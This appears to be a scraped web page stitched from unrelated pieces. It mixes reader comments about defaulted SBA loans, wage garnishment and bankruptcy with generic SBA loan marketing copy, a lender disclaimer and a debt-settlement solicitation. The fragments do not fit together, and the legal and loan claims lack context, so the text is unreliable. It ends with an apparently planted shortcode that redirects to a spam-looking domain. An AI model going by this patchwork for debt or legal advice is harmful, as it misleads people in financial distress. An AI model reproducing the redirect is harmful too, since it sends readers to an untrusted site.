Hi i got a SBA loan in 2008 and defaulted in 2009 and the company went out of business in 2010. I was told by a attorney that the state statue of limitations had ran out for them to collect from me. Today a really rude lady from SBA told me that government Loans do not have statue of limitations and they could collect till I died then take my estate. I replied I will file bankruptcy before I pay you a dime and hung up. However I really rather not do that and I am wondering was my attorney wrong or was she just being a bully.
We are sorry to hear about your misfortune. Unfortunately, this will likely continue until all of the loan amount is repaid, although they should provide accounting statements, especially if you have requested them.
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We got behind in our SBA disaster home loan. They haven’t taken us to court but are garnishing or wages. We’re considering filing chapter 7 on the loan. It’s a mobile home on 3 lots in a low income area. The home is worth a quarter of what we owe. Will we have to move as soon as we file? I’ve been told that they aren’t interested in taking it back because the value isn’t worth the effort they’d have to put forward.
In fact, the U.S. Small Business Administration (SBA) now uses the score to pre-screen it’s most popular 7(a) loans. If your score falls below their minimum threshold, you may not qualify for one of the most attractive—lowest interest rates—small business loans available. Starting at the beginning of 2014, all SBA 7(a) loan applications up to $350,000 are required to go through a business credit score pre-screen. To be clear, if you’re applying for an SBA loan, most likely it’s a 7(a).
My husband and his exwife obtained a sba loan in 1999,the year of hurricane Floyd, they divorced and the loan went into default,they are garnishing his social sercurity check,his payroll check,and his exwifes disability payments, someone bought the house out of foreclosure,and the exwife is renting the house from the buyer. I’m just wondering since the house was bought, should my husband an his ex be released from this debt?
The SBA requires a personal guarantee from every owner with at least a 20% ownership stake and from others who hold top management positions. A personal guarantee puts you and your personal assets on the hook for payments if your business can’t make them.
The most you can borrow through the SBA CAPLines program is $5 million. The exception to the is the Small Short-Term Line of Credit which has significantly lower servicing requirements but also has a credit limit of $200k.
my partner (awesome credit) and myself (not so much) are looking at applying for an sba loan to fund our start up from the building brand phase to a sales phase. I have a FHA backed home loan that we went late on so we could qualify for a modification and we are still in the trial period. How and does this effect our ability to secure a sba loan?
I am not getting any cancellation of my debt with SBA and certainly no offset as income. Do I have to report this as income or is there some way to dispute? Or have I unwillingly allowed this as part of some court proceeding with the debt to SBA
Every lender has different underwriting guidelines, but they generally consider similar factors, including personal credit score, your time in business and annual revenue. Lenders also consider your cash flow and ability to repay the debt.
Hurricane Katrina destroyed my home and some rental properties. I took out SBA disaster assistance loans to help. One loan was a refi on my home that was destroyed along with fixing it $400,000 and the other loan was for 100,000 to fix the rentals. I still had mortgages on all properties. I was able to make the payments but started having trouble in 2009 with the recession. I have been in and out of Liquidation. I am trying to get another workout with them but it seems they are ready to drop to Treasury. I am scared of Foreclosure. I have 4 properties tied to the SBA loans, 3 properties SBA is in second position behind mortgage companies, Carrington and Wells Fargo but my home I have a second of 80k from SLS that was not part of the refi from SBA… Can they foreclose, they spoke to me about charge off but I figured since they were in first position on the home I built twice they would come after it… I have not been able to sleep, I am so worried, I owed 280k when the storm hit and now I owe close to 500k and the house is worth around 330,000….
Women’s Business Centers (WBCs) represent a national network of over 100 non-profit educational centers throughout the United States and its territories, funded in part through SBA support. The maximum SBA grant for a WBC is $150,000 per year, although most centers receive less. WBCs are required to provide non-federal matching funds of 50% of the grant in the first two years and 100% thereafter.
Hi, i was making a negotiated payment to CIT for an SBA loan that was used to launch a tax business. Times were tough and not a lot of folks were filing taxes so we were not able to make the full CIT payments. We had made 15 consecutive, modified payments to CIT but then got a law suit form CIT 12/2012. We stopped making the payments and pursue help form a civil attorney. She was not familiar with CIT/SBA but tried her best to settle before trial or a judgment. CIT said they would allow us to do a loan modification but if we took that route, if we were ineligible, we would get a judgment. Needless to say, we were not eligible for loan modification and then the judgment was filed. This was 11/2012
The SBA Export Working Capital Loan (EWCP) can be used to pay suppliers, buy inventory, or cover the production costs for goods/services you will be exporting. All of this has the goal of allowing your business to be able to offer more favorable/flexible terms to your foreign customers.
My question is that I had a SBA loan of $75000 and was unable to repay due to real estates slump back in 2009/ 2009, and I had filled a chapter 7 which did not discharge. Now what are my options to clear SBA loan.
You may be eligible for an SBA Economic Injury Disaster Loan if your small business has suffered substantial economic injury as a result of a disaster and are unable to meet your normal operational expenses.
Small-business loans are typically issued only for businesses with a year or more of history and revenue. Among the financing options for entrepreneurs who qualify are U.S. Small Business Administration loans, term loans, business lines of credit and invoice factoring. Startups operating for less than a year can consider other financing options.
As the name a merchant cash advance grants a lump-sum amount to the business owner and that amount is paid back (in addition to any fees charged) directly from a portion of future daily or weekly credit card sales.
Working Capital loans offer a simple small business financing solution for entrepreneurs needing $50,000 – $150,000 for business operations. These loans provide the same government guarantee and low interest rates as traditional SBA loans, but they can close in as little as 45 days — about half the time it takes to close a traditional SBA loan.
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Following a natural disaster in my state, I was granted an SBA loan in order to make the repairs to my home. The amount of the loan was below $10,000.00, so they were not required to place a lien on my home (I was told that any amount over $10,000.00 required that a lien be placed on the home). I lost my job in 2007 and have been unable to maintain full-time employment since due to numerous lay offs. My house was foreclosed on last year and I have been in default on the SBA loan. I feel that my only way out of this financial ruin is to file bankruptcy. Will bankruptcy discharge my SBA loan?
The short answer is the score is calculated by looking at personal and business credit history, as well as other business financial information, like: age of the business, number of employees, financial data, such as revenue and assets. It truly is a global view of a business’s overall financial health!
Obtaining a small business loan essentially enables you to effectively run all aspects of your business, minimizing any disruption during slow periods and giving you cash flow options if you’re ready to take your company to the next level.
Karen you can send me an email or call me anytime. I do SBA debt settlements and workouts everyday here at Bridge Management for defaulted businesses. [email protected]. Don’t hesitate to ask any questions.
Loans Subject to Lender Approval. Depending on the state where your business is located and other attributes of the loan, your business loan may be issued by Celtic Bank, a Utah-Chartered Industrial Bank, Member FDIC. Your loan agreement will identify the loan issuer prior to your signing.
Are you worried about having enough inventory in stock to keep up with your business? With a business loan, you’ll be able to pay for your inventory orders, while still having funds for other areas of your business.
Because you’re just starting out and your personal credit score is below 600, your best bet is microloans through nonprofit lenders or the Small Business Administration. The downside is that these are “micro” amounts of money, usually no more than $50,000. Many microlenders, however, help businesses grow and establish better credit. SBA microloans generally have APRs of 8% to 8.5% with manageable repayment terms. Successfully repaying microloans will boost your credit score and make you eligible for bigger financing.
• Special Purpose Loans Program This category includes help to businesses for a range of reasons, from negative impacts from the North American Free Trade Agreement to helping implement pollution controls to providing assistance to Employee Stock Ownership Plans.
Start by asking your lender about Annual Percentage Rate or APR. APR takes into account all fees and interest rates so you have a standard measure of the cost of credit across different type loan products. Ask the lender to explain any and all fees associated with your small business loan. Typical fees associated with loans may include:
The image below shows how your FICO score is created and what importance is placed on each issue. If you think you can improve on any of these areas in a few months, you may even consider delaying your loan application until your score improves.
The maximum amount that can be borrowed with an SBA 7(a) loan is $5,000,000. While the SBA does not set a minimum loan amount, most lenders will not consider loans under $30,000. The average SBA 7(a) loan amount in fiscal year 2015 was $371,628. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]